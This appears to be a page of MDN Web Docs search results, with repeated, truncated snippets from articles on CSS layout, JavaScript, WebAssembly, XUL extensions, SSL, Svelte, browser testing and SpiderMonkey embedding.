... the axis that corresponds to the direction that words in a sentence would run in the writing mode used. therefore, in a horizontal language such as english or arabic the inline direction runs horizontally. should you be in a vertical writing mode the inline axis will run vertically. to align things on the inline axis you use the properties that start with justify-, justify-content, justify-items and justify-self. the block axis crosses the inline axis in the direction that blocks are displayed down the page — for example paragraphs in english are displayed one below the other vertically. this, therefore is the block dimension. to align things on the block axis you use the properties that start with align-, align-content, align-items and align-self. self alignment justify-self ...
...And 7 more matches
Box alignment in Flexbox - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods; on this page, we explore how box alignment works in the context of flexbox. as this page aims to detail things which are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods. basic example in this example, three flex items are aligned on the main axis using justify-content and on the cross axis using align-items. the first item overrides the align-items values set on the group by setting align-self to center. the axes and flex-direction flexbox respects the writing mode of the document, therefore if you are working in english and set justify-content to flex-end this will align...
...s example, three flex items are aligned on the main axis using justify-content and on the cross axis using align-items. the first item overrides the align-items values set on the group by setting align-self to center. the axes and flex-direction flexbox respects the writing mode of the document, therefore if you are working in english and set justify-content to flex-end this will align the items to the end of the flex container. if you are working with flex-direction set to row, this alignment will be in the inline direction. however, in flexbox you can change the main axis by setting flex-direction to column. in this case, justify-content will align items in the block direction. therefore it is easiest to think about the main and cross axis when working in flexbox like so: the main ...
...nge the main axis by setting flex-direction to column. in this case, justify-content will align items in the block direction. therefore it is easiest to think about the main and cross axis when working in flexbox like so: the main axis = direction set by flex-direction = alignment via justify-content the cross axis = runs across the main axis = alignment via align-content, align-self/align-items main axis alignment justify-content cross axis alignment align-self align-items align-content there is no justify-self in flexbox on the main axis, flexbox deals with our content as a group. the amount of space required to lay out the items is calculated, and the leftover space is then available for distribution. the justify-content property controls how that leftover space is used...
...And 7 more matches
Grid template areas - CSS: Cascading Style Sheets
you will see very quickly why we sometimes call this the ascii-art method of grid layout! naming a grid area you have already encountered the grid-area property. ...
...you will see very quickly why we sometimes call this the ascii-art method of grid layout! naming a grid area you have already encountered the grid-area property. ...
...you will see very quickly why we sometimes call this the ascii-art method of grid layout! naming a grid area you have already encountered the grid-area property. ...
...And 7 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in this article we will fully explore how this fundamental feature of the specification works. starting your exploration of grid with numbered lines is the most logical place to begin, as when you use grid layout you always have numbered lines. the lines are numbered for columns and rows, and are indexed from 1. note that grid is indexed according to the writing mode of the document. in a left to right language such as english line 1 is on the left-hand side of the grid. ...
...i would like the first item to start on the far left of the grid and span a single column track. it should also start on the first row line, at the top of the grid and span to the fourth row line. .box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 4; } as y...
...: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning items by line number we can use line-based placement to control where these items sit on the grid. ...
...And 7 more matches
align-self - CSS: Cascading Style Sheets
in grid, it aligns the item inside the grid area. in flexbox, it aligns the item on the cross axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the property doesn't apply to block-level boxes, or to table cells. if a flexbox item's cross-axis margin is auto, then align-self is ignored. ...
... normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on rep...
...the end */ /* baseline alignment */ align-self: baseline; align-self: first baseline; align-self: last baseline; align-self: stretch; /* stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-self: safe center; align-self: unsafe center; /* global values */ align-self: inherit; align-self: initial; align-self: unset; values auto computes to the parent's align-items value. normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in static position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for gri...
...And 7 more matches
break-after - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... android full support 50firefox android no support noopera android full support 37 full support 37 no support 11.1 — 12.1safari ios no support nosamsung internet android full support 5.0alwayschrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support noavoid-columnchrome no support noedge no support 12 — 79firefox no support noie no support noopera no support nosa...
...And 7 more matches
break-before - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroid full support 50firefox android full support 65opera android full support 37 full support 37 no support 11.1 — 12.1safari ios no support nosamsung internet android full support 5.0always experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support noavoid-columnchrome no support noedge no support 12 — 79firefox no support noie full support 10opera no support no...
...And 7 more matches
Functions - JavaScript
to use a function, you must define it somewhere in the scope from which you wish to call it. see also the exhaustive reference chapter about javascript functions to get to know the details. ...
...se the function constructor to create functions from a string at runtime, much like eval(). a method is a function that is a property of an object. read more about objects and methods in working with objects. calling functions defining a function does not execute it. defining it simply names the function and specifies what to do when the function is called. calling the function actually performs the specified actions with the indicated parameters. for example, if you define the function square, you could call it as follows: square(5); the preceding statement calls the function with an argument of 5. the function executes its statements and returns the value 25. functions must be in scope when they are called, but the function declaration can be hoisted (appear below the call in the c...
...ets the value 6 d = factorial(4); // d gets the value 24 e = factorial(5); // e gets the value 120 there are other ways to call functions. there are often cases where a function needs to be called dynamically, or the number of arguments to a function vary, or in which the context of the function call needs to be set to a specific object determined at runtime. it turns out that functions are themselves objects—and in turn, these objects have methods. (see the function object.) one of these, the apply() method, can be used to achieve this goal. function scope variables defined inside a function cannot be accessed from anywhere outside the function, because the variable is defined only in the scope of the function. however, a function can access all variables and functions defined inside...
...And 7 more matches
WebAssembly Concepts - WebAssembly
what is webassembly? webassembly is a new type of code that can be run in modern web browsers and provides new features and major gains in performance. it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...e of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers. webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platforms by taking advantage of common hardware capabilities. be readable and debuggable — webassembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allows code to be written, viewed, and debugged by hand. keep secure — webassembly is specified to be run in a safe, sandboxed execution environment. like othe...
...achine (vm) that runs the web app’s code, e.g. the javascript code that powers your apps. a set of web apis that the web app can call to control web browser/device functionality and make things happen (dom, cssom, webgl, indexeddb, web audio api, etc.). historically, the vm has been able to load only javascript. this has worked well for us as javascript is powerful enough to solve most problems people have on the web today. we have run into performance problems, however, when trying to use javascript for more intensive use cases like 3d games, virtual and augmented reality, computer vision, image/video editing, and a number of other domains that demand native performance (see webassembly use cases for more ideas). additionally, the cost of downloading, parsing, and compiling very large...
...And 7 more matches
The Essentials of an Extension - Archive of obsolete content
section we looked at the contents of the hello world extension. now we'll look into its files and code, starting with the install.rdf file. you can open it with any text editor. the file is formatted in a special flavor of xml called rdf. rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system. we'll discuss both of these storage systems further ahead in the tutorial. now let's look at the important parts of the file. <em:id>helloworld@xulschool.com</em:id> this is the unique identifier for the extension. firefox needs this to distinguish your extension from other extensions, so it is required that you have an id that is unique. there are two accepted standards for add-on ids. one is the email-like format in the hello wor...
... to distinguish your extension from other extensions, so it is required that you have an id that is unique. there are two accepted standards for add-on ids. one is the email-like format in the hello world example, which should be something like <project-name>@<yourdomain>. the other standard practice is to use a generated uuid string, which is extremely unlikely to be duplicated. unix-based systems have a command line tool called uuidgen that generates uuids. there are also downloadable tools for all platforms that generate them. the enclosing brackets are just notation, and they're just common practice. as long as your id has some uniqueness to it, it's ok to use either form. <em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.
...inally, the location is specified. there are some additional options that can be included in the entries of a chrome.manifest file. they are documented in the chrome registration page. notably, we can have entries that are os-specific. this is important because the appearance of the browser is very different for each operating system. ...
...And 6 more matches
CSS3 - Archive of obsolete content
it brings a lot of long-awaited novelties, like rounded corners, shadows, gradients, transitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts. experimental parts are vendor-prefixed and should either be avoided in production environments, or used with extreme caution as both their syntax and semantics can change in the future. modules and the standardization process css level 2 needed 9 years, from august 2002 to june 2011 to reach the recommendation status. this was due to the fact that a few secondary features held back the whole specification. ...
...sis property. css basic user interface module level 3 recommendation since june 21st, 2018 adds: the ability to tweak the box model using the css box-sizing property. at risk: due to insufficient browser support, standardization of the padding-box value may be postponed to the next iteration of this module. allow the styling of forms according their content using the css :indeterminate, :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only, and :read-write pseudo-classes and the ::value, ::choices, ::repeat-item, and ::repeat-index pseudo-elements. at risk: due to insufficient browser support, standardization of the pseudo-elements ::value, ::choices, ::repeat-item, and ::repeat-index ma...
... custom properties for cascading variables module level 1 candidate recommendation defines a mechanism allowing to define variables in css. compositing and blending level 1 candidate recommendation css syntax level 3 candidate recommendation clarifies how charsets are determined; minor changes in parsing and tokenization algorithms. css grid layout candidate recommendation add a grid layout to the css display property and several new css properties to control it: grid, grid-area, grid-auto-columns, grid-auto-flow, grid-auto-position, grid-auto-rows, grid-column, grid-column-start, grid-column-end, grid-row, grid-row-start, grid-row-end, grid-template, grid-template-areas, grid-template-rows, and ...
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
lar platform simply because you do not have the resources for parallel development! unlike many other application frameworks, you are not limited to the widget set we provide, nor limited to the "look and feel" of the native os. you can create applications using our framework that either have a native look and feel for each os, or one which is identical on macs, pc's or unix operating systems. you may also further enhance the user interface by allowing 3rd parties to develop "themes" for your application. themes are simply collections of images and css which can augment or replace your current ui elements. xul provides an excellent answer for organizations with heterogeneous computing environments. customized xul applications with significant business logic can be written once,...
...e user interface by allowing 3rd parties to develop "themes" for your application. themes are simply collections of images and css which can augment or replace your current ui elements. xul provides an excellent answer for organizations with heterogeneous computing environments. customized xul applications with significant business logic can be written once, and used on the range of platforms that exist within the organization. in addition, if the organization maintains sophisticated, interactive websites, it will already possess a wealth of technical expertise that will be relevant for creating xul applications. in addition to the technologies already mentioned, we go even further by allowing you to even create your own custom interface widgets. don't feel limited by the widgets that...
... the application, such as a "history" menu item). xslt could be used to translate information from web services, rss, soap, or other xml-based languages and convert them into a form that you might display in your user interface. the gecko rendering engine gecko is the revolutionary rendering engine that offers advanced features for internet browsing anywhere across applications, computing platforms and devices. this innovation in browser technology offers small size, speed and industry leading standards support. gecko is the premier cross-platform, full-featured, mature and well-tested layout engine available, providing robust and high quality support for a massive array of standards. its ability to render web content correctly is exceptional. gecko consists roughly of an html parser and xm...
...And 6 more matches
Extensions - Archive of obsolete content
m you might wish to add a new item to one of the menus. this can be done by overlaying the popup to append the item to. for a list of the ids of the menus for firefox, see firefox menus. for example, to add an item to the end of the tools menu, use the following: <menupopup id="menu_toolspopup"> <menuitem label="thesaurus"/> </menupopup> note that other extensions may be adding their own items into the same menus. because of this, the new item might not appear at the end of the menu but before a menuitem added by another extension, depending on the order in which the overlays are applied. as you cannot predict this order, you should not rely on any menuitems being in particular positions in the presence of other extensions. modifying the context menu an extension may wish to modify t...
...menu but before a menuitem added by another extension, depending on the order in which the overlays are applied. as you cannot predict this order, you should not rely on any menuitems being in particular positions in the presence of other extensions. modifying the context menu an extension may wish to modify the context menu associated with the browser area. normally, this menu displays menu items specific to what was context clicked or focused. for instance, opening a context menu for a link displays items to open the link in a new window or tab and to save or bookmark the link. an extension may modify the context menu to show additional items that either appear always, or appear only when certain content is selected. in firefox, the browser area that displays web pages has only one cont...
...this context menu has the id 'contentareacontextmenu'. in this example, a single item is added to the end of the firefox context menu. ...
...And 6 more matches
The Joy of XUL - Archive of obsolete content
0. applications written in xul are based on additional w3c standard technologies featuring html 4.0; cascading style sheets (css) 1 and 2; document object model (dom) levels 1 and 2; javascript 1.5, including ecma-262 edition 3 (ecmascript); xml 1.0. platform portability like html, xul is designed to be platform-neutral, making applications easily portable to all of the operating systems on which mozilla runs. considering the broad range of platforms that currently support mozilla, this may be one of the most compelling features of xul as a technology for building applications. since xul provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. the user interface for all of mozilla's core applications (browser, messenger, ad...
...lla, this may be one of the most compelling features of xul as a technology for building applications. since xul provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. the user interface for all of mozilla's core applications (browser, messenger, address book, etc.) is written in xul with one single code base supporting all mozilla platforms. separation of presentation from application logic one of the major downfalls of most web applications is the tight coupling of user interface elements with client application logic. this poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people. xul provides a clear separation among the clie...
...ent for xul widgets, add additional event handlers to a xul widget, and add new interface properties and methods. essentially, xbl empowers developers with the ability to extend xul by customizing existing tags and creating new tags of their own. by using xbl, developers can easily build custom user interface widgets such as progress meters, fancy pop-up menus, and even toolbars and search forms. these custom components can then be used in xul applications by specifying the custom tag and associated attributes. overlays overlays are xul files used to describe extra content for the ui. they are a general mechanism for adding ui for additional components, overriding small pieces of a xul file without having to resupply the whole ui, and reusing particular pieces of the ui. ...
...And 6 more matches
Manipulating Lists - Archive of obsolete content
although listboxes may be manipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible. these functions are bit simpler and will do the right thing. the appenditem() function is used to append a new item to the end a list. ...
... label="select" oncommand="doselect();"/> </hbox> <radiogroup id="level"> <radio label="excellent"/> <radio label="good"/> <radio label="poor"/> </radiogroup> listboxes also support multiple selection and the functions of the nsidomxulmultiselectcontrolelement interface. this interface provides a number of functions specifically for handling multiple selection. ...
...();"/> </hbox> <radiogroup id="level"> <radio label="excellent"/> <radio label="good"/> <radio label="poor"/> </radiogroup> listboxes also support multiple selection and the functions of the nsidomxulmultiselectcontrolelement interface. this interface provides a number of functions specifically for handling multiple selection. for example the selecteditems property holds a list of the items that are selected, while the selectedcount property holds the number of items selected. typically, you will use these properties to iterate over the list and perform some operation for each item. be careful when iterating over the selected items; if you modify the items in the list while iterating, the list will change and the selection properties may return different values. this is one reason w...
...And 6 more matches
Introduction to SSL - Archive of obsolete content
to transmit data. the ssl handshake protocol involves using the ssl record protocol to exchange a series of messages between an ssl-enabled server and an ssl-enabled client when they first establish an ssl connection. this exchange of messages is designed to facilitate the following actions: authenticate the server to the client. ...
...yptographic algorithms, or ciphers, that they both support. optionally authenticate the client to the server. use public-key encryption techniques to generate shared secrets. establish an encrypted ssl connection. for more information about the handshake process, see "the ssl handshake." ciphers used with ssl the ssl protocol supports the use of a variety of different cryptographic algorithms, or ciphers, for use in operations such as authenticating the server and client to each other, transmitting certificates, and establishing session keys. clients and servers may support different cipher suites, or sets of ciphers, depending on factors such as the version of ssl they support, company policies regarding acceptable encryption strength, and government restrictions on export of ssl-ena...
...as the version of ssl they support, company policies regarding acceptable encryption strength, and government restrictions on export of ssl-enabled software. among its other functions, the ssl handshake protocol determines how the server and client negotiate which cipher suites they will use to authenticate each other, to transmit certificates, and to establish session keys. key-exchange algorithms like kea and rsa key exchange govern the way in which the server and client determine the symmetric keys they will both use during an ssl session. the most commonly used ssl cipher suites use rsa key exchange. the ssl 2.0 and ssl 3.0 protocols support overlapping sets of cipher suites. administrators can enable or disable any of the supported cipher suites for both clients and servers. when a pa...
...And 6 more matches
Windows Media in Netscape - Archive of obsolete content
etscape browsers says that versions of netscape (including 6.2 and 7.0) support the embedding of the windows media player control using a java applet. while that approach works with browsers older than netscape 7.1, this section introduces the use of the objects that enable deployment of the windows media player directly as an activex control within netscape 7.1. this section presents two mechanisms to detect the browsers that support windows media player -- detection using javascript objects which is useful for client-side detection detection using the user agent string which is useful for server side detection. an advantage of the client-side approach is that it is also possible to detect if windows media player is installed. client-side detection using javascript objects internet ex...
... both activexobject and geckoactivexobject can take wmplayer.ocx.7 as an argument to create the control if windows media player 7 or 9 are present. unlike using the progid as an argument, using wmplayer.ocx.7 as an argument to both these apis creates a fully usable reference to the windows media player 7 or 9 control, with all the methods and propertie...
... here is a snippet of code that illustrates the use of classids with geckoactivexobject: function creategeckowmpobject(clid) { var player = null; try { player = new geckoactivexobject(clid); } catch(e) { ; } return player; } // instantiate players wmp7or9 = creategeckowmpobject("{6bf52a52-394a-11d3-b153-00c04f79faa6}"); if (!wmp7o...
...And 6 more matches
Grids - Learn web development
and columns, and has many features that make building complex layouts straightforward. this article will give you all you need to know to get started with page layout. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using css grid. what is grid layout? a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites. a grid will typically have colum...
... where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites. a grid will typically have columns, rows, and then gaps between each row and column — commonly referred to as gutters. creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it. we will look at the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a nice visual explanation of using css grid: defining a grid as a starting point, download and open the starting point file in your text editor and browser (you can also see it live here). you will see an example with a container,...
... the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a nice visual explanation of using css grid: defining a grid as a starting point, download and open the starting point file in your text editor and browser (you can also see it live here). you will see an example with a container, which has some child items. by default these display in normal flow so the boxes display one below the other. we will be working with this file for the first part of this lesson, making changes to see how grid behaves. to define a grid we use the grid value of the display property. as with flexbox, this switches on grid layout, and all of the direct children of the container become grid items. add this to the css inside y...
...And 6 more matches
Responsive design - Learn web development
ial mobile version of their site, with a different url (often something like m.example.com, or example.mobi). this meant that two separate versions of the site had to be developed and kept up-to-date. in addition, these mobile sites often offered a very cut down experience. ...
...this approach required javascript to detect the screen resolution and load the correct css. ...
...n smaller if their containing column became narrower than the image's intrinsic size, but never grow larger. this enables an image to scale down to fit in a flexibly-sized column, rather than overflow it, but not grow larger and become pixellated if the column becomes wider than the image. the third key component was the media query. media queries enable the type of layout switch that cameron adams had previously explored using javascript, using only css. rather than having one layout for all screen sizes, the layout could be changed. sidebars could be repositioned for the smaller screen, or alternate navigation could be displayed. it is important to understand that responsive web design isn't a separate technology — it is a term used to describe an approach to web design or a set of be...
...And 6 more matches
Working with Svelte stores - Learn web development
at the beginni...
...rt { ondestroy } from 'svelte' let mystorecontent = '' const unsubscribe = mystore.subscribe(value => mystorecontent = value) ondestroy(unsubscribe) </script> {mystorecontent} that's too much boilerplate for svelte! being a compiler, svelte has more resources to make our lives easier. in this case svelte provides the reactive $store syntax, also known as auto-subscription. in simple terms, you just prefix the store with the $ sign and svelte will generate the code to make it reactive automatically. so our previous code block can be replaced with this: <script> import mystore from './stores.js' </script> {$mystore} and $mystore will be fully reactive. this also applies to your own custom stores. if you implement the subscribe() and set() methods, like we'll do later, the react...
...rop with the milliseconds to wait before clearing the notification, and we'll define a timeout to remove the alert. we'll also take care of clearing the timeout when the alert component is unmounted to prevent memory leaks. ...
...And 6 more matches
Introduction to automated testing - Learn web development
e an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier. automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. sounds like a lot of work, doesn't it? we agree — testing all the things we've looked at in previous articles manually can be a real pain. fortunately, there are tools to help us automate some of this pain away. there are two main ways in which we can automate the tests we've been talking about in this module: use a task runn...
...sauce labs, browserstack, and testingbot are based on selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system. we will look at how to set up your own selenium-based testing system in the next article. in this article, we'll look at how to set up a task runner, and use the basic functionality of commercial systems like the ones mentioned above. note: the above two categories are not mutually exclusive. it is possible to set up a task runner to access a service like sauce labs, or lambdatest via an api, run cross browser tests, and return results. we will look at this below as well. using a task runner to automate testing tools as we said above, you can drastically speed up common tasks such as linting...
...and browser you specified, and returns the test results in the form of screenshots, videos, logfiles, text, etc. you can then step up a gear, using an api to access functionality programmatically, which means that such apps can be combined with task runners, such as your own local selenium environments and others, to create automated tests. note: there are other commercial browser testing systems available but in this article, we'll focus on lambdatest, sauce labs, and browserstack. we're not saying that these are necessarily the best tools available, but they are good ones that are simple for beginners to get up and running with. lambdatest getting started with lambdatest let's get started by signing up on lambdatest for free. sign in. this should happen automatically after you ve...
...And 6 more matches
Debugging on Windows
ways to start the debugger first of all, it's necessary to install a visual studio extension to be able to follow child processes as they are created. ...
...lstudio, opening this solution allows you to run firefox.exe directly in the debugger. making it the startup project, by right clicking on it (it appears bold when it's the case) can be useful. breakpoints are kept across runs, this can be a good way to debug startup issues. run the program until you hit an assertion. you will get a dialog box asking if you would like to debug. hit "cancel". the msdev ide will launch and load the file where the assertion happened. this will also create a visual c++ mozilla project in the directory of the executable by default. attach the debugger to an existing mozilla process. in the visual studio, select debug > attach to process. if you want to debug a content process, you can hover on the tab of page you want to debug, which would show the pid. you ca...
...plays "{...}" and you need to click the small + icon to expand the members. you can change this behaviour, and make visual c++ display whatever data member you want in whatever order, formatter however you like instead of just "{...}". you need to locate a file called "autoexp.dat" in your visual c++ installation. by default it will be: vc++ 6.0: c:\program files\microsoft visual studio\common\msdev98\bin\autoexp.dat vc++ 7.0: c:\program files\microsoft visual studio .net 2003\common7\packages\debugger\autoexp.dat the file has information about the format in the beginning, and after a little practice you should be well on your way. here are some entries that will make your life easier: ;; mozilla (1.7beta and later) nsautostring=<mdata,su> nsstring=<mdata,su> nscstring=<mdata,s> nsc...
...And 6 more matches
CustomizableUI.jsm
it is available in the firefox window as the customizableui property on the window. if you want to use it from a jsm or another context without a window reference, you need to import it yourself: components.utils.import("resource:///modules/customizableui.jsm"); introduction the module is intended for two primary purposes: allow adding, moving and removing customizable widgets. ...
...rflowable', that is, if there are too many widgets to fit in the toolbar's horizontal space, the excess widgets will be placed in a panel accessible from an anchor (chevron) in the toolbar. in order to register such a toolbar, set the 'overflowable' property to true, and provide the id of the anchor in the 'anchor' property. widgets widget is the term that customizableui uses for each of the items in a customizable area. note that these are also abstract cross-window objects; customizableui will manage the actual dom manipulation involved with adding/moving/removing widgets in all windows for you. there are three main types of widgets: 'legacy' xul widgets, which are the way customizableui represents widgets whose dom representation is present (or overlaid) into a window; api-style wi...
...age the actual dom manipulation involved with adding/moving/removing widgets in all windows for you. there are three main types of widgets: 'legacy' xul widgets, which are the way customizableui represents widgets whose dom representation is present (or overlaid) into a window; api-style widgets, which are the new widgets customizableui can create and manage for you. these come in 3 types themselves: button which are simple toolbar buttons which do something when clicked view which are toolbar buttons with a 'view' of further options. the view can be shown as its own panel when such a widget is in the toolbar, or as a sliding 'subview' of the menu panel when such a widget is in the menu panel. custom which are widgets that are custom-created by some js supplied by t...
...And 6 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird. see mailnews automated testing for a description of the other testing mechanisms. boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("...
... used attributes where the default value is listed after the attribute name. there are more attributes you can specify; consult the documentation for more information. (see the bottom of this page for links to the source files.) count: 10 the number of messages that should be in the set. note that the default is subject to change, so if you want 10, say 10, instead of relying on the default. msgsperthread: 1 how many messages should be in each thread? the default is that every message is its own thread; no message is a reply to any other message. if you pass a number greater than 1, then you get a direct reply-chain that long. for example, if you pass 3, then 1 <- 2 <- 3 is what the reply chain looks like. if you need more complicated threads you will need to use the messagescenariofac...
....com"]} would result in four messages from john doe to random recipients. synthetic message sets the code that creates synthetic message sets returns instances of the syntheticmessageset class. this class not only holds references to the syntheticmessage instances, but it also tracks what folders they were injected into as well as what folders you move them to. ...
...And 6 more matches
PKCS11 FAQ
Mozilla › Projects › NSS › PKCS11 › FAQ
ce you've installed the module, the module's certificates simply appear in the list of certificates displayed in the certificate window. what version of pkcs #11 does nss support? nss requires at least pkcs #11 version 2.0, but can support some features of later versions of nss, including nss 2.20. nss does not use all the features of later versions of pkcs #11. what are the expectations in terms of session manipulation? will nss potentially open more than one session at a time? read-only sessions, read/write sessions, serial, parallel? nss typically holds one session read-only session per slot, in which some of the non-multipart functions are handled. multipart functions, such as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overla...
...es in place. which function does nss use to get login state information? nss calls c_getsessioninfo to get the login/logout state. nss never attempts to cache this information, because login state can change instantly without nss knowing about it (for example, when the user removes the card). you must update all sessions correctly when the state changes. not doing so is a common source of problems. i have noticed that nss sometimes use a session handle value of 0. is this an invalid session handle? a session handle of 0 is indeed invalid. in the past, nss uses the invalid session handle to mark problems with acquiring or using a session. there have been cases where nss would then use this handle to try to do some operation. pkcs #11 modules should fail with ckr_invalid_session. we are wo...
... nss uses those versions under certain conditions. however, these are not the services nss calls to get to other pkcs #11 modules, which show up separately under cryptographic modules. our plugin provides several slots with different capabilities. for example, one does all the hashing/symmetric operations, while another does only asymmetric rsa operations. can this kind of division lead to problems? the only issue is dealing with keys. for example, if the rsa slot unwraps a key, nss needs to move that key to a slot that can do the symmetric operations. nss itself uses two tokens internally--one that provides generic cryptographic services without authentication, and one that provides operations based on the keys stored in the user's database and do need authentication. nss does this to avo...
...And 6 more matches
SpiderMonkey Build Documentation
spidermonkey as a library in your c++ application, or work on improving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src # this name should end with "_opt.obj" to make the version control system ignore it. mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most common build problems are dependency problems. see the build prerequisites page for your platform. spidermonkey does not support building in your source directory. you must configure and build in a separate build directory, as shown above. note: if you are on mac and getting an error similar to "checking whether the c compiler (gcc-4.2 ) works... no configure: error: installation or configuration problem...
... control system ignore it. mkdir build_dbg.obj cd build_dbg.obj /bin/sh ../configure.in --enable-debug --disable-optimize # use "mozmake" on windows make you can also build debug builds of spidermonkey with the js_gc_zeal option, which adds a new built-in function to spidermonkey that lets you configure zealous garbage collection. this can help debug memory leaks and other memory-related problems. see js_setgczeal() for details. for a list of other available build options, type (assuming the current working directory is one of the above-created build directories): /bin/sh ../configure.in --help generating a compilation database some tools (like ides, static analyzers and refactoring tools) consume a file called compile_commands.json which contains a description of all the pieces requ...
...m. to generate a compile_commands.json with the spidermonkey configure script, enable the compiledb backend, like this: /bin/sh ../configure.in <options> --enable-build-backends=compiledb,recursivemake (recursivemake is there as you'd likely also want to be able to build!) windows builds since version 28, threadsafe builds are the default, and should work out of the box on all posix platforms. hence, the following instructions should only be relevant if you're on windows or compiling an older version of spidermonkey. the mozillabuild batch file you used to open your shell (e.g. start-shell-msvc2013.bat or start-shell-msvc2013-x64.bat) determines whether the compiler toolchain will target 32-bit or 64-bit builds. to create a 64-bit build, note that you must configure with --target=x8...
...And 6 more matches
JSAPI User Guide
this document explains how to embed spidermonkey, the mozilla javascript engine, in your c++ program. javascript is widely used for client-side scripts that run in the browser. but mozilla's javascript engine is a library that can be linked into any c++ program, not just a browser. many applications can benefit from scripting. these programs can execute javascript code from c++ using the spidermonkey api. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. what spidermonkey does the javascript engine compiles and executes scripts containing javascript statements and functions. the engine handles memory allocation for the objects needed to execute scripts, and it cleans up—garbage collects—objects ...
...own objects and functions to javascript code. browsers expose dom objects. your application will expose objects that are relevant for the kind of scripts you want to write. it is up to the application developer to decide what objects and methods are exposed to scripts. hello world using the spidermonkey library to build spidermonkey from source, see spidermonkey build documentation. some systems (such as debian) provide spidermonkey as a prebuilt package. build it from source instead. your program will be easier to debug. c++ code accesses spidermonkey via the jsapi, by including the header "jsapi.h". an overview of jsapi functionality follows. for more details, see the jsapi reference. the spidermonkey universe in order to run any javascript code in spidermonkey, an application must ...
...s_fs_end }; ... if (!js_definefunctions(cx, global, myjs_global_functions)) return false; ... once the functions are defined in global, any script that uses global as the global object can call them, just as any web page can call alert. in the environment we have created, the "hello world" script looks like this: system("echo hello world"); jsapi concepts this section aims to fill in the major gaps in the picture of the jsapi presented so far. to do anything useful with spidermonkey, you must read all three sections. javascript values main article: js::value javascript is a dynamically typed language: variables and properties do not have a type that is fixed at compile time. how can a statically typed language, like c or c++, in which all variables have types, i...
...And 6 more matches
Web Replay
terministic component) work by posting events to the main thread (a deterministic component), so for now incremental gcs are disabled. many of these behavioral changes should eventually be removable. graphics rendering is entirely local to the content process. instead of communicating via ipc with a compositor in the ui process, there is a compositor in the recording process itself which performs the rendering. some additional instrumentation is performed, per the 'allowed non-determinism', section above. the ipc, rewind, and debugger components are all active while recording. these spawn a number of threads which do not participate in the recording: any events they execute are live. see the sections below for details on how these affect the process' behavior. to make it easier to e...
